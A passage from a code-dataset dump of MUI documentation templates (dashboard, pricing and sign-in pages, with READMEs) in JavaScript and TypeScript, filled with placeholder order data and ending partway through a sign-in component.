<Typography color="text.secondary" sx={{ flex: 1 }}>
on 15 March, 2019
</Typography>
<div>
<Link color="primary" href="#" onClick={preventDefault}>
View balance
</Link>
</div>
</React.Fragment>
);
}
| 3,559 |
0 | petrpan-code/mui/material-ui/docs/data/material/getting-started/templates | petrpan-code/mui/material-ui/docs/data/material/getting-started/templates/dashboard/Deposits.tsx | import * as React from 'react';
import Link from '@mui/material/Link';
import Typography from '@mui/material/Typography';
import Title from './Title';
function preventDefault(event: React.MouseEvent) {
event.preventDefault();
}
export default function Deposits() {
return (
<React.Fragment>
<Title>Recent Deposits</Title>
<Typography component="p" variant="h4">
$3,024.00
</Typography>
<Typography color="text.secondary" sx={{ flex: 1 }}>
on 15 March, 2019
</Typography>
<div>
<Link color="primary" href="#" onClick={preventDefault}>
View balance
</Link>
</div>
</React.Fragment>
);
}
| 3,560 |
0 | petrpan-code/mui/material-ui/docs/data/material/getting-started/templates | petrpan-code/mui/material-ui/docs/data/material/getting-started/templates/dashboard/Deposits.tsx.preview | <React.Fragment>
<Title>Recent Deposits</Title>
<Typography component="p" variant="h4">
$3,024.00
</Typography>
<Typography color="text.secondary" sx={{ flex: 1 }}>
on 15 March, 2019
</Typography>
<div>
<Link color="primary" href="#" onClick={preventDefault}>
View balance
</Link>
</div>
</React.Fragment> | 3,561 |
0 | petrpan-code/mui/material-ui/docs/data/material/getting-started/templates | petrpan-code/mui/material-ui/docs/data/material/getting-started/templates/dashboard/Orders.js | import * as React from 'react';
import Link from '@mui/material/Link';
import Table from '@mui/material/Table';
import TableBody from '@mui/material/TableBody';
import TableCell from '@mui/material/TableCell';
import TableHead from '@mui/material/TableHead';
import TableRow from '@mui/material/TableRow';
import Title from './Title';
// Generate Order Data
function createData(id, date, name, shipTo, paymentMethod, amount) {
return { id, date, name, shipTo, paymentMethod, amount };
}
const rows = [
createData(
0,
'16 Mar, 2019',
'Elvis Presley',
'Tupelo, MS',
'VISA ⠀•••• 3719',
312.44,
),
createData(
1,
'16 Mar, 2019',
'Paul McCartney',
'London, UK',
'VISA ⠀•••• 2574',
866.99,
),
createData(2, '16 Mar, 2019', 'Tom Scholz', 'Boston, MA', 'MC ⠀•••• 1253', 100.81),
createData(
3,
'16 Mar, 2019',
'Michael Jackson',
'Gary, IN',
'AMEX ⠀•••• 2000',
654.39,
),
createData(
4,
'15 Mar, 2019',
'Bruce Springsteen',
'Long Branch, NJ',
'VISA ⠀•••• 5919',
212.79,
),
];
function preventDefault(event) {
event.preventDefault();
}
export default function Orders() {
return (
<React.Fragment>
<Title>Recent Orders</Title>
<Table size="small">
<TableHead>
<TableRow>
<TableCell>Date</TableCell>
<TableCell>Name</TableCell>
<TableCell>Ship To</TableCell>
<TableCell>Payment Method</TableCell>
<TableCell align="right">Sale Amount</TableCell>
</TableRow>
</TableHead>
<TableBody>
{rows.map((row) => (
<TableRow key={row.id}>
<TableCell>{row.date}</TableCell>
<TableCell>{row.name}</TableCell>
<TableCell>{row.shipTo}</TableCell>
<TableCell>{row.paymentMethod}</TableCell>
<TableCell align="right">{`$${row.amount}`}</TableCell>
</TableRow>
))}
</TableBody>
</Table>
<Link color="primary" href="#" onClick={preventDefault} sx={{ mt: 3 }}>
See more orders
</Link>
</React.Fragment>
);
}
| 3,562 |
0 | petrpan-code/mui/material-ui/docs/data/material/getting-started/templates | petrpan-code/mui/material-ui/docs/data/material/getting-started/templates/dashboard/Orders.tsx | import * as React from 'react';
import Link from '@mui/material/Link';
import Table from '@mui/material/Table';
import TableBody from '@mui/material/TableBody';
import TableCell from '@mui/material/TableCell';
import TableHead from '@mui/material/TableHead';
import TableRow from '@mui/material/TableRow';
import Title from './Title';
// Generate Order Data
function createData(
id: number,
date: string,
name: string,
shipTo: string,
paymentMethod: string,
amount: number,
) {
return { id, date, name, shipTo, paymentMethod, amount };
}
const rows = [
createData(
0,
'16 Mar, 2019',
'Elvis Presley',
'Tupelo, MS',
'VISA ⠀•••• 3719',
312.44,
),
createData(
1,
'16 Mar, 2019',
'Paul McCartney',
'London, UK',
'VISA ⠀•••• 2574',
866.99,
),
createData(2, '16 Mar, 2019', 'Tom Scholz', 'Boston, MA', 'MC ⠀•••• 1253', 100.81),
createData(
3,
'16 Mar, 2019',
'Michael Jackson',
'Gary, IN',
'AMEX ⠀•••• 2000',
654.39,
),
createData(
4,
'15 Mar, 2019',
'Bruce Springsteen',
'Long Branch, NJ',
'VISA ⠀•••• 5919',
212.79,
),
];
function preventDefault(event: React.MouseEvent) {
event.preventDefault();
}
export default function Orders() {
return (
<React.Fragment>
<Title>Recent Orders</Title>
<Table size="small">
<TableHead>
<TableRow>
<TableCell>Date</TableCell>
<TableCell>Name</TableCell>
<TableCell>Ship To</TableCell>
<TableCell>Payment Method</TableCell>
<TableCell align="right">Sale Amount</TableCell>
</TableRow>
</TableHead>
<TableBody>
{rows.map((row) => (
<TableRow key={row.id}>
<TableCell>{row.date}</TableCell>
<TableCell>{row.name}</TableCell>
<TableCell>{row.shipTo}</TableCell>
<TableCell>{row.paymentMethod}</TableCell>
<TableCell align="right">{`$${row.amount}`}</TableCell>
</TableRow>
))}
</TableBody>
</Table>
<Link color="primary" href="#" onClick={preventDefault} sx={{ mt: 3 }}>
See more orders
</Link>
</React.Fragment>
);
}
| 3,563 |
0 | petrpan-code/mui/material-ui/docs/data/material/getting-started/templates | petrpan-code/mui/material-ui/docs/data/material/getting-started/templates/dashboard/README.md | # Dashboard template
## Usage
<!-- #default-branch-switch -->
1. Copy the files into your project, or one of the [example projects](https://github.com/mui/material-ui/tree/master/examples).
2. Make sure your project has the required dependencies: @mui/material, @mui/icons-material, @emotion/styled, @emotion/react, recharts.
3. Import and use the `Dashboard` component.
## Demo
<!-- #default-branch-switch -->
View the demo at https://mui.com/material-ui/getting-started/templates/dashboard/.
| 3,564 |
0 | petrpan-code/mui/material-ui/docs/data/material/getting-started/templates | petrpan-code/mui/material-ui/docs/data/material/getting-started/templates/dashboard/Title.js | import * as React from 'react';
import PropTypes from 'prop-types';
import Typography from '@mui/material/Typography';
function Title(props) {
return (
<Typography component="h2" variant="h6" color="primary" gutterBottom>
{props.children}
</Typography>
);
}
Title.propTypes = {
children: PropTypes.node,
};
export default Title;
| 3,565 |
0 | petrpan-code/mui/material-ui/docs/data/material/getting-started/templates | petrpan-code/mui/material-ui/docs/data/material/getting-started/templates/dashboard/Title.tsx | import * as React from 'react';
import Typography from '@mui/material/Typography';
interface TitleProps {
children?: React.ReactNode;
}
export default function Title(props: TitleProps) {
return (
<Typography component="h2" variant="h6" color="primary" gutterBottom>
{props.children}
</Typography>
);
}
| 3,566 |
0 | petrpan-code/mui/material-ui/docs/data/material/getting-started/templates | petrpan-code/mui/material-ui/docs/data/material/getting-started/templates/dashboard/Title.tsx.preview | <Typography component="h2" variant="h6" color="primary" gutterBottom>
{props.children}
</Typography> | 3,567 |
0 | petrpan-code/mui/material-ui/docs/data/material/getting-started/templates | petrpan-code/mui/material-ui/docs/data/material/getting-started/templates/dashboard/listItems.js | import * as React from 'react';
import ListItemButton from '@mui/material/ListItemButton';
import ListItemIcon from '@mui/material/ListItemIcon';
import ListItemText from '@mui/material/ListItemText';
import ListSubheader from '@mui/material/ListSubheader';
import DashboardIcon from '@mui/icons-material/Dashboard';
import ShoppingCartIcon from '@mui/icons-material/ShoppingCart';
import PeopleIcon from '@mui/icons-material/People';
import BarChartIcon from '@mui/icons-material/BarChart';
import LayersIcon from '@mui/icons-material/Layers';
import AssignmentIcon from '@mui/icons-material/Assignment';
export const mainListItems = (
<React.Fragment>
<ListItemButton>
<ListItemIcon>
<DashboardIcon />
</ListItemIcon>
<ListItemText primary="Dashboard" />
</ListItemButton>
<ListItemButton>
<ListItemIcon>
<ShoppingCartIcon />
</ListItemIcon>
<ListItemText primary="Orders" />
</ListItemButton>
<ListItemButton>
<ListItemIcon>
<PeopleIcon />
</ListItemIcon>
<ListItemText primary="Customers" />
</ListItemButton>
<ListItemButton>
<ListItemIcon>
<BarChartIcon />
</ListItemIcon>
<ListItemText primary="Reports" />
</ListItemButton>
<ListItemButton>
<ListItemIcon>
<LayersIcon />
</ListItemIcon>
<ListItemText primary="Integrations" />
</ListItemButton>
</React.Fragment>
);
export const secondaryListItems = (
<React.Fragment>
<ListSubheader component="div" inset>
Saved reports
</ListSubheader>
<ListItemButton>
<ListItemIcon>
<AssignmentIcon />
</ListItemIcon>
<ListItemText primary="Current month" />
</ListItemButton>
<ListItemButton>
<ListItemIcon>
<AssignmentIcon />
</ListItemIcon>
<ListItemText primary="Last quarter" />
</ListItemButton>
<ListItemButton>
<ListItemIcon>
<AssignmentIcon />
</ListItemIcon>
<ListItemText primary="Year-end sale" />
</ListItemButton>
</React.Fragment>
);
| 3,568 |
0 | petrpan-code/mui/material-ui/docs/data/material/getting-started/templates | petrpan-code/mui/material-ui/docs/data/material/getting-started/templates/dashboard/listItems.tsx | import * as React from 'react';
import ListItemButton from '@mui/material/ListItemButton';
import ListItemIcon from '@mui/material/ListItemIcon';
import ListItemText from '@mui/material/ListItemText';
import ListSubheader from '@mui/material/ListSubheader';
import DashboardIcon from '@mui/icons-material/Dashboard';
import ShoppingCartIcon from '@mui/icons-material/ShoppingCart';
import PeopleIcon from '@mui/icons-material/People';
import BarChartIcon from '@mui/icons-material/BarChart';
import LayersIcon from '@mui/icons-material/Layers';
import AssignmentIcon from '@mui/icons-material/Assignment';
export const mainListItems = (
<React.Fragment>
<ListItemButton>
<ListItemIcon>
<DashboardIcon />
</ListItemIcon>
<ListItemText primary="Dashboard" />
</ListItemButton>
<ListItemButton>
<ListItemIcon>
<ShoppingCartIcon />
</ListItemIcon>
<ListItemText primary="Orders" />
</ListItemButton>
<ListItemButton>
<ListItemIcon>
<PeopleIcon />
</ListItemIcon>
<ListItemText primary="Customers" />
</ListItemButton>
<ListItemButton>
<ListItemIcon>
<BarChartIcon />
</ListItemIcon>
<ListItemText primary="Reports" />
</ListItemButton>
<ListItemButton>
<ListItemIcon>
<LayersIcon />
</ListItemIcon>
<ListItemText primary="Integrations" />
</ListItemButton>
</React.Fragment>
);
export const secondaryListItems = (
<React.Fragment>
<ListSubheader component="div" inset>
Saved reports
</ListSubheader>
<ListItemButton>
<ListItemIcon>
<AssignmentIcon />
</ListItemIcon>
<ListItemText primary="Current month" />
</ListItemButton>
<ListItemButton>
<ListItemIcon>
<AssignmentIcon />
</ListItemIcon>
<ListItemText primary="Last quarter" />
</ListItemButton>
<ListItemButton>
<ListItemIcon>
<AssignmentIcon />
</ListItemIcon>
<ListItemText primary="Year-end sale" />
</ListItemButton>
</React.Fragment>
);
| 3,569 |
0 | petrpan-code/mui/material-ui/docs/data/material/getting-started/templates | petrpan-code/mui/material-ui/docs/data/material/getting-started/templates/pricing/Pricing.js | import * as React from 'react';
import { createTheme, ThemeProvider } from '@mui/material/styles';
import AppBar from '@mui/material/AppBar';
import Box from '@mui/material/Box';
import Button from '@mui/material/Button';
import Card from '@mui/material/Card';
import CardActions from '@mui/material/CardActions';
import CardContent from '@mui/material/CardContent';
import CardHeader from '@mui/material/CardHeader';
import CssBaseline from '@mui/material/CssBaseline';
import Grid from '@mui/material/Grid';
import StarIcon from '@mui/icons-material/StarBorder';
import Toolbar from '@mui/material/Toolbar';
import Typography from '@mui/material/Typography';
import Link from '@mui/material/Link';
import GlobalStyles from '@mui/material/GlobalStyles';
import Container from '@mui/material/Container';
function Copyright(props) {
return (
<Typography variant="body2" color="text.secondary" align="center" {...props}>
{'Copyright © '}
<Link color="inherit" href="https://mui.com/">
Your Website
</Link>{' '}
{new Date().getFullYear()}
{'.'}
</Typography>
);
}
const tiers = [
{
title: 'Free',
price: '0',
description: [
'10 users included',
'2 GB of storage',
'Help center access',
'Email support',
],
buttonText: 'Sign up for free',
buttonVariant: 'outlined',
},
{
title: 'Pro',
subheader: 'Most popular',
price: '15',
description: [
'20 users included',
'10 GB of storage',
'Help center access',
'Priority email support',
],
buttonText: 'Get started',
buttonVariant: 'contained',
},
{
title: 'Enterprise',
price: '30',
description: [
'50 users included',
'30 GB of storage',
'Help center access',
'Phone & email support',
],
buttonText: 'Contact us',
buttonVariant: 'outlined',
},
];
const footers = [
{
title: 'Company',
description: ['Team', 'History', 'Contact us', 'Locations'],
},
{
title: 'Features',
description: [
'Cool stuff',
'Random feature',
'Team feature',
'Developer stuff',
'Another one',
],
},
{
title: 'Resources',
description: ['Resource', 'Resource name', 'Another resource', 'Final resource'],
},
{
title: 'Legal',
description: ['Privacy policy', 'Terms of use'],
},
];
// TODO remove, this demo shouldn't need to reset the theme.
const defaultTheme = createTheme();
export default function Pricing() {
return (
<ThemeProvider theme={defaultTheme}>
<GlobalStyles styles={{ ul: { margin: 0, padding: 0, listStyle: 'none' } }} />
<CssBaseline />
<AppBar
position="static"
color="default"
elevation={0}
sx={{ borderBottom: (theme) => `1px solid ${theme.palette.divider}` }}
>
<Toolbar sx={{ flexWrap: 'wrap' }}>
<Typography variant="h6" color="inherit" noWrap sx={{ flexGrow: 1 }}>
Company name
</Typography>
<nav>
<Link
variant="button"
color="text.primary"
href="#"
sx={{ my: 1, mx: 1.5 }}
>
Features
</Link>
<Link
variant="button"
color="text.primary"
href="#"
sx={{ my: 1, mx: 1.5 }}
>
Enterprise
</Link>
<Link
variant="button"
color="text.primary"
href="#"
sx={{ my: 1, mx: 1.5 }}
>
Support
</Link>
</nav>
<Button href="#" variant="outlined" sx={{ my: 1, mx: 1.5 }}>
Login
</Button>
</Toolbar>
</AppBar>
{/* Hero unit */}
<Container disableGutters maxWidth="sm" component="main" sx={{ pt: 8, pb: 6 }}>
<Typography
component="h1"
variant="h2"
align="center"
color="text.primary"
gutterBottom
>
Pricing
</Typography>
<Typography variant="h5" align="center" color="text.secondary" component="p">
Quickly build an effective pricing table for your potential customers with
this layout. It's built with default MUI components with little
customization.
</Typography>
</Container>
{/* End hero unit */}
<Container maxWidth="md" component="main">
<Grid container spacing={5} alignItems="flex-end">
{tiers.map((tier) => (
// Enterprise card is full width at sm breakpoint
<Grid
item
key={tier.title}
xs={12}
sm={tier.title === 'Enterprise' ? 12 : 6}
md={4}
>
<Card>
<CardHeader
title={tier.title}
subheader={tier.subheader}
titleTypographyProps={{ align: 'center' }}
action={tier.title === 'Pro' ? <StarIcon /> : null}
subheaderTypographyProps={{
align: 'center',
}}
sx={{
backgroundColor: (theme) =>
theme.palette.mode === 'light'
? theme.palette.grey[200]
: theme.palette.grey[700],
}}
/>
<CardContent>
<Box
sx={{
display: 'flex',
justifyContent: 'center',
alignItems: 'baseline',
mb: 2,
}}
>
<Typography component="h2" variant="h3" color="text.primary">
${tier.price}
</Typography>
<Typography variant="h6" color="text.secondary">
/mo
</Typography>
</Box>
<ul>
{tier.description.map((line) => (
<Typography
component="li"
variant="subtitle1"
align="center"
key={line}
>
{line}
</Typography>
))}
</ul>
</CardContent>
<CardActions>
<Button fullWidth variant={tier.buttonVariant}>
{tier.buttonText}
</Button>
</CardActions>
</Card>
</Grid>
))}
</Grid>
</Container>
{/* Footer */}
<Container
maxWidth="md"
component="footer"
sx={{
borderTop: (theme) => `1px solid ${theme.palette.divider}`,
mt: 8,
py: [3, 6],
}}
>
<Grid container spacing={4} justifyContent="space-evenly">
{footers.map((footer) => (
<Grid item xs={6} sm={3} key={footer.title}>
<Typography variant="h6" color="text.primary" gutterBottom>
{footer.title}
</Typography>
<ul>
{footer.description.map((item) => (
<li key={item}>
<Link href="#" variant="subtitle1" color="text.secondary">
{item}
</Link>
</li>
))}
</ul>
</Grid>
))}
</Grid>
<Copyright sx={{ mt: 5 }} />
</Container>
{/* End footer */}
</ThemeProvider>
);
}
| 3,570 |
0 | petrpan-code/mui/material-ui/docs/data/material/getting-started/templates | petrpan-code/mui/material-ui/docs/data/material/getting-started/templates/pricing/Pricing.tsx | import * as React from 'react';
import { createTheme, ThemeProvider } from '@mui/material/styles';
import AppBar from '@mui/material/AppBar';
import Box from '@mui/material/Box';
import Button from '@mui/material/Button';
import Card from '@mui/material/Card';
import CardActions from '@mui/material/CardActions';
import CardContent from '@mui/material/CardContent';
import CardHeader from '@mui/material/CardHeader';
import CssBaseline from '@mui/material/CssBaseline';
import Grid from '@mui/material/Grid';
import StarIcon from '@mui/icons-material/StarBorder';
import Toolbar from '@mui/material/Toolbar';
import Typography from '@mui/material/Typography';
import Link from '@mui/material/Link';
import GlobalStyles from '@mui/material/GlobalStyles';
import Container from '@mui/material/Container';
function Copyright(props: any) {
return (
<Typography variant="body2" color="text.secondary" align="center" {...props}>
{'Copyright © '}
<Link color="inherit" href="https://mui.com/">
Your Website
</Link>{' '}
{new Date().getFullYear()}
{'.'}
</Typography>
);
}
const tiers = [
{
title: 'Free',
price: '0',
description: [
'10 users included',
'2 GB of storage',
'Help center access',
'Email support',
],
buttonText: 'Sign up for free',
buttonVariant: 'outlined',
},
{
title: 'Pro',
subheader: 'Most popular',
price: '15',
description: [
'20 users included',
'10 GB of storage',
'Help center access',
'Priority email support',
],
buttonText: 'Get started',
buttonVariant: 'contained',
},
{
title: 'Enterprise',
price: '30',
description: [
'50 users included',
'30 GB of storage',
'Help center access',
'Phone & email support',
],
buttonText: 'Contact us',
buttonVariant: 'outlined',
},
];
const footers = [
{
title: 'Company',
description: ['Team', 'History', 'Contact us', 'Locations'],
},
{
title: 'Features',
description: [
'Cool stuff',
'Random feature',
'Team feature',
'Developer stuff',
'Another one',
],
},
{
title: 'Resources',
description: ['Resource', 'Resource name', 'Another resource', 'Final resource'],
},
{
title: 'Legal',
description: ['Privacy policy', 'Terms of use'],
},
];
// TODO remove, this demo shouldn't need to reset the theme.
const defaultTheme = createTheme();
export default function Pricing() {
return (
<ThemeProvider theme={defaultTheme}>
<GlobalStyles styles={{ ul: { margin: 0, padding: 0, listStyle: 'none' } }} />
<CssBaseline />
<AppBar
position="static"
color="default"
elevation={0}
sx={{ borderBottom: (theme) => `1px solid ${theme.palette.divider}` }}
>
<Toolbar sx={{ flexWrap: 'wrap' }}>
<Typography variant="h6" color="inherit" noWrap sx={{ flexGrow: 1 }}>
Company name
</Typography>
<nav>
<Link
variant="button"
color="text.primary"
href="#"
sx={{ my: 1, mx: 1.5 }}
>
Features
</Link>
<Link
variant="button"
color="text.primary"
href="#"
sx={{ my: 1, mx: 1.5 }}
>
Enterprise
</Link>
<Link
variant="button"
color="text.primary"
href="#"
sx={{ my: 1, mx: 1.5 }}
>
Support
</Link>
</nav>
<Button href="#" variant="outlined" sx={{ my: 1, mx: 1.5 }}>
Login
</Button>
</Toolbar>
</AppBar>
{/* Hero unit */}
<Container disableGutters maxWidth="sm" component="main" sx={{ pt: 8, pb: 6 }}>
<Typography
component="h1"
variant="h2"
align="center"
color="text.primary"
gutterBottom
>
Pricing
</Typography>
<Typography variant="h5" align="center" color="text.secondary" component="p">
Quickly build an effective pricing table for your potential customers with
this layout. It's built with default MUI components with little
customization.
</Typography>
</Container>
{/* End hero unit */}
<Container maxWidth="md" component="main">
<Grid container spacing={5} alignItems="flex-end">
{tiers.map((tier) => (
// Enterprise card is full width at sm breakpoint
<Grid
item
key={tier.title}
xs={12}
sm={tier.title === 'Enterprise' ? 12 : 6}
md={4}
>
<Card>
<CardHeader
title={tier.title}
subheader={tier.subheader}
titleTypographyProps={{ align: 'center' }}
action={tier.title === 'Pro' ? <StarIcon /> : null}
subheaderTypographyProps={{
align: 'center',
}}
sx={{
backgroundColor: (theme) =>
theme.palette.mode === 'light'
? theme.palette.grey[200]
: theme.palette.grey[700],
}}
/>
<CardContent>
<Box
sx={{
display: 'flex',
justifyContent: 'center',
alignItems: 'baseline',
mb: 2,
}}
>
<Typography component="h2" variant="h3" color="text.primary">
${tier.price}
</Typography>
<Typography variant="h6" color="text.secondary">
/mo
</Typography>
</Box>
<ul>
{tier.description.map((line) => (
<Typography
component="li"
variant="subtitle1"
align="center"
key={line}
>
{line}
</Typography>
))}
</ul>
</CardContent>
<CardActions>
<Button
fullWidth
variant={tier.buttonVariant as 'outlined' | 'contained'}
>
{tier.buttonText}
</Button>
</CardActions>
</Card>
</Grid>
))}
</Grid>
</Container>
{/* Footer */}
<Container
maxWidth="md"
component="footer"
sx={{
borderTop: (theme) => `1px solid ${theme.palette.divider}`,
mt: 8,
py: [3, 6],
}}
>
<Grid container spacing={4} justifyContent="space-evenly">
{footers.map((footer) => (
<Grid item xs={6} sm={3} key={footer.title}>
<Typography variant="h6" color="text.primary" gutterBottom>
{footer.title}
</Typography>
<ul>
{footer.description.map((item) => (
<li key={item}>
<Link href="#" variant="subtitle1" color="text.secondary">
{item}
</Link>
</li>
))}
</ul>
</Grid>
))}
</Grid>
<Copyright sx={{ mt: 5 }} />
</Container>
{/* End footer */}
</ThemeProvider>
);
}
| 3,571 |
0 | petrpan-code/mui/material-ui/docs/data/material/getting-started/templates | petrpan-code/mui/material-ui/docs/data/material/getting-started/templates/pricing/README.md | # Pricing template
## Usage
<!-- #default-branch-switch -->
1. Copy the files into your project, or one of the [example projects](https://github.com/mui/material-ui/tree/master/examples).
2. Make sure your project has the required dependencies: @mui/material, @mui/icons-material, @emotion/styled, @emotion/react.
3. Import and use the `Pricing` component.
## Demo
<!-- #default-branch-switch -->
View the demo at https://mui.com/material-ui/getting-started/templates/pricing/.
| 3,572 |
0 | petrpan-code/mui/material-ui/docs/data/material/getting-started/templates | petrpan-code/mui/material-ui/docs/data/material/getting-started/templates/sign-in-side/README.md | # Sign-in side template
## Usage
<!-- #default-branch-switch -->
1. Copy the files into your project, or one of the [example projects](https://github.com/mui/material-ui/tree/master/examples).
2. Make sure your project has the required dependencies: @mui/material, @mui/icons-material, @emotion/styled, @emotion/react.
3. Import and use the `SignInSide` component.
## Demo
<!-- #default-branch-switch -->
View the demo at https://mui.com/material-ui/getting-started/templates/sign-in-side/.
| 3,573 |
0 | petrpan-code/mui/material-ui/docs/data/material/getting-started/templates | petrpan-code/mui/material-ui/docs/data/material/getting-started/templates/sign-in-side/SignInSide.js | import * as React from 'react';
import Avatar from '@mui/material/Avatar';
import Button from '@mui/material/Button';
import CssBaseline from '@mui/material/CssBaseline';
import TextField from '@mui/material/TextField';
import FormControlLabel from '@mui/material/FormControlLabel';
import Checkbox from '@mui/material/Checkbox';
import Link from '@mui/material/Link';
import Paper from '@mui/material/Paper';
import Box from '@mui/material/Box';
import Grid from '@mui/material/Grid';
import LockOutlinedIcon from '@mui/icons-material/LockOutlined';
import Typography from '@mui/material/Typography';
import { createTheme, ThemeProvider } from '@mui/material/styles';
function Copyright(props) {
return (
<Typography variant="body2" color="text.secondary" align="center" {...props}>
{'Copyright © '}
<Link color="inherit" href="https://mui.com/">
Your Website
</Link>{' '}
{new Date().getFullYear()}
{'.'}
</Typography>
);
}
// TODO remove, this demo shouldn't need to reset the theme.
const defaultTheme = createTheme();
export default function SignInSide() {
const handleSubmit = (event) => {
event.preventDefault();
const data = new FormData(event.currentTarget);
console.log({
email: data.get('email'),
password: data.get('password'),
});
};
return (
<ThemeProvider theme={defaultTheme}>
<Grid container component="main" sx={{ height: '100vh' }}>
<CssBaseline />
<Grid
item
xs={false}
sm={4}
md={7}
sx={{
backgroundImage: 'url(https://source.unsplash.com/random?wallpapers)',
backgroundRepeat: 'no-repeat',
backgroundColor: (t) =>
t.palette.mode === 'light' ? t.palette.grey[50] : t.palette.grey[900],
backgroundSize: 'cover',
backgroundPosition: 'center',
}}
/>
<Grid item xs={12} sm={8} md={5} component={Paper} elevation={6} square>
<Box
sx={{
my: 8,
mx: 4,
display: 'flex',
flexDirection: 'column',
alignItems: 'center',
}}
>
<Avatar sx={{ m: 1, bgcolor: 'secondary.main' }}>
<LockOutlinedIcon />
</Avatar>
<Typography component="h1" variant="h5">
Sign in
</Typography>
<Box component="form" noValidate onSubmit={handleSubmit} sx={{ mt: 1 }}>
<TextField
margin="normal"
required
fullWidth
id="email"
label="Email Address"
name="email"
autoComplete="email"
autoFocus
/>
<TextField
margin="normal"
required
fullWidth
name="password"
label="Password"
type="password"
id="password"
autoComplete="current-password"
/>
<FormControlLabel
control={<Checkbox value="remember" color="primary" />}
label="Remember me"
/>
<Button
type="submit"
fullWidth
variant="contained"
sx={{ mt: 3, mb: 2 }}
>
Sign In
</Button>
<Grid container>
<Grid item xs>
<Link href="#" variant="body2">
Forgot password?
</Link>
</Grid>
<Grid item>
<Link href="#" variant="body2">
{"Don't have an account? Sign Up"}
</Link>
</Grid>
</Grid>
<Copyright sx={{ mt: 5 }} />
</Box>
</Box>
</Grid>
</Grid>
</ThemeProvider>
);
}
| 3,574 |
0 | petrpan-code/mui/material-ui/docs/data/material/getting-started/templates | petrpan-code/mui/material-ui/docs/data/material/getting-started/templates/sign-in-side/SignInSide.tsx | import * as React from 'react';
import Avatar from '@mui/material/Avatar';
import Button from '@mui/material/Button';
import CssBaseline from '@mui/material/CssBaseline';
import TextField from '@mui/material/TextField';
import FormControlLabel from '@mui/material/FormControlLabel';
import Checkbox from '@mui/material/Checkbox';
import Link from '@mui/material/Link';
import Paper from '@mui/material/Paper';
import Box from '@mui/material/Box';
import Grid from '@mui/material/Grid';
import LockOutlinedIcon from '@mui/icons-material/LockOutlined';
import Typography from '@mui/material/Typography';
import { createTheme, ThemeProvider } from '@mui/material/styles';
function Copyright(props: any) {
return (
<Typography variant="body2" color="text.secondary" align="center" {...props}>
{'Copyright © '}
<Link color="inherit" href="https://mui.com/">
Your Website
</Link>{' '}
{new Date().getFullYear()}
{'.'}
</Typography>
);
}
// TODO remove, this demo shouldn't need to reset the theme.
const defaultTheme = createTheme();
export default function SignInSide() {
const handleSubmit = (event: React.FormEvent<HTMLFormElement>) => {
event.preventDefault();
const data = new FormData(event.currentTarget);
console.log({
email: data.get('email'),
password: data.get('password'),
});
};
return (
<ThemeProvider theme={defaultTheme}>
<Grid container component="main" sx={{ height: '100vh' }}>
<CssBaseline />
<Grid
item
xs={false}
sm={4}
md={7}
sx={{
backgroundImage: 'url(https://source.unsplash.com/random?wallpapers)',
backgroundRepeat: 'no-repeat',
backgroundColor: (t) =>
t.palette.mode === 'light' ? t.palette.grey[50] : t.palette.grey[900],
backgroundSize: 'cover',
backgroundPosition: 'center',
}}
/>
<Grid item xs={12} sm={8} md={5} component={Paper} elevation={6} square>
<Box
sx={{
my: 8,
mx: 4,
display: 'flex',
flexDirection: 'column',
alignItems: 'center',
}}
>
<Avatar sx={{ m: 1, bgcolor: 'secondary.main' }}>
<LockOutlinedIcon />
</Avatar>
<Typography component="h1" variant="h5">
Sign in
</Typography>
<Box component="form" noValidate onSubmit={handleSubmit} sx={{ mt: 1 }}>
<TextField
margin="normal"
required
fullWidth
id="email"
label="Email Address"
name="email"
autoComplete="email"
autoFocus
/>
<TextField
margin="normal"
required
fullWidth
name="password"
label="Password"
type="password"
id="password"
autoComplete="current-password"
/>
<FormControlLabel
control={<Checkbox value="remember" color="primary" />}
label="Remember me"
/>
<Button
type="submit"
fullWidth
variant="contained"
sx={{ mt: 3, mb: 2 }}
>
Sign In
</Button>
<Grid container>
<Grid item xs>
<Link href="#" variant="body2">
Forgot password?
</Link>
</Grid>
<Grid item>
<Link href="#" variant="body2">
{"Don't have an account? Sign Up"}
</Link>
</Grid>
</Grid>
<Copyright sx={{ mt: 5 }} />
</Box>
</Box>
</Grid>
</Grid>
</ThemeProvider>
);
}
| 3,575 |
0 | petrpan-code/mui/material-ui/docs/data/material/getting-started/templates | petrpan-code/mui/material-ui/docs/data/material/getting-started/templates/sign-in/README.md | # Sign-in template
## Usage
<!-- #default-branch-switch -->
1. Copy the files into your project, or one of the [example projects](https://github.com/mui/material-ui/tree/master/examples).
2. Make sure your project has the required dependencies: @mui/material, @mui/icons-material, @emotion/styled, @emotion/react.
3. Import and use the `SignIn` component.
## Demo
<!-- #default-branch-switch -->
View the demo at https://mui.com/material-ui/getting-started/templates/sign-in/.
| 3,576 |
0 | petrpan-code/mui/material-ui/docs/data/material/getting-started/templates | petrpan-code/mui/material-ui/docs/data/material/getting-started/templates/sign-in/SignIn.js | import * as React from 'react';
import Avatar from '@mui/material/Avatar';
import Button from '@mui/material/Button';
import CssBaseline from '@mui/material/CssBaseline';
import TextField from '@mui/material/TextField';
import FormControlLabel from '@mui/material/FormControlLabel';
import Checkbox from '@mui/material/Checkbox';
import Link from '@mui/material/Link';
import Grid from '@mui/material/Grid';
import Box from '@mui/material/Box';
import LockOutlinedIcon from '@mui/icons-material/LockOutlined';
import Typography from '@mui/material/Typography';
import Container from '@mui/material/Container';
import { createTheme, ThemeProvider } from '@mui/material/styles';
function Copyright(props) {
return (
<Typography variant="body2" color="text.secondary" align="center" {...props}>
{'Copyright © '}
<Link color="inherit" href="https://mui.com/">
Your Website
</Link>{' '}
{new Date().getFullYear()}
{'.'}
</Typography>
);
}
// TODO remove, this demo shouldn't need to reset the theme.
const defaultTheme = createTheme();
export default function SignIn() {
const handleSubmit = (event) => {
event.preventDefault();
const data = new FormData(event.currentTarget);
console.log({
email: data.get('email'),
password: data.get('password'),
});
};
return (
<ThemeProvider theme={defaultTheme}>
<Container component="main" maxWidth="xs">
<CssBaseline />
<Box
sx={{
marginTop: 8,
display: 'flex',
flexDirection: 'column',
alignItems: 'center',
}}
>
<Avatar sx={{ m: 1, bgcolor: 'secondary.main' }}>
<LockOutlinedIcon />
</Avatar>
<Typography component="h1" variant="h5">
Sign in
</Typography>
<Box component="form" onSubmit={handleSubmit} noValidate sx={{ mt: 1 }}>
<TextField
margin="normal"
required
fullWidth
id="email"
label="Email Address"
name="email"
autoComplete="email"
autoFocus
/>
<TextField
margin="normal"
required
fullWidth
name="password"
label="Password"
type="password"
id="password"
autoComplete="current-password"
/>
<FormControlLabel
control={<Checkbox value="remember" color="primary" />}
label="Remember me"
/>
<Button
type="submit"
fullWidth
